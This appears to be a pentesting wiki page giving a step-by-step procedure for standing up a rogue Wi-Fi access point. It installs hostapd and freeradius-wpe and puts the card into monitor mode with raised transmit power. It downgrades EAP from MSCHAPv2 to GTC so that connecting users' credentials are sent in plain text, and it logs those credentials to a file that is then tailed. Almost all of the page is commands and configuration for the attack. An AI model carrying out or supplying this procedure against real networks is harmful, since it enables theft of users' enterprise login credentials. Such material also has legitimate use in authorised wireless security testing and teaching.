RogueAP
A RogueAP is an unauthorized Access Point that can be used for malicious activities like intercepting data.
Necesary software: HostAPD and FreeRadius:
apt-get install hostapd freeradius-wpe
Then, enable monitor mode:
airmon-ng check kill
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
Then, modify card power:
ifconfig wlan0 down
iwconfig wlan0 txpower 28
ifconfig wlan0 up
Then, configure FreeRadius-wpe:
nano /etc/freeradius-wpe/3.0/mods-enabled/eap
Here, modify -L#790
:
Change default_eap_type = mschapv2 to default_eap_type = gtc
Now the transmission of credentials is done in plain text and the Radius server keeps a log with the obtained credentials in /var/log/freeradius-wpe/freeradius-server-wpe.log
.
After that, create the certificate with the desired name:
cd /etc/freeradius-wpe/3.0/certs/
mkdir example-cert
cd example-cert
openssl genrsa -out server.key 2048
openssl req -new -key server.key -out server.csr -subj "/CN=example.com"
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.pem
Now edit the private key and certificate path:
nano /etc/freeradius-wpe/3.0/mods-enabled/eap
Now, configure HostAPD:
It is necessary to create a configuration file in the hostapd directory specifying the access point information, as well as the authentication against the Radius server. Example:
nano rogueAP
Note that auth_server_shared_secret parameter is the secret key shared between the Radius server and the client (HostAPd in this case). It must match the one set in the clients.conf
file, located in /etc/freeradius-wpe/3.0/
(auth_server_shared_secret=testing1234
) Secret key shared between the Radius server and the client (HostAPd in this case). It must match the one set in the clients.conf
file, located in /etc/freeradius-wpe/3.0/
.
Now the attack can be executed:
In a terminal run: freeradius-wpe -f
In another terminal run: hostapd rogueAP
In another terminal run: touch /var/log/freeradius-wpe/freeradius-server-wpe.log
and finally tail -f /var/log/freeradius-wpe/freeradius-server-wpe.log
Last updated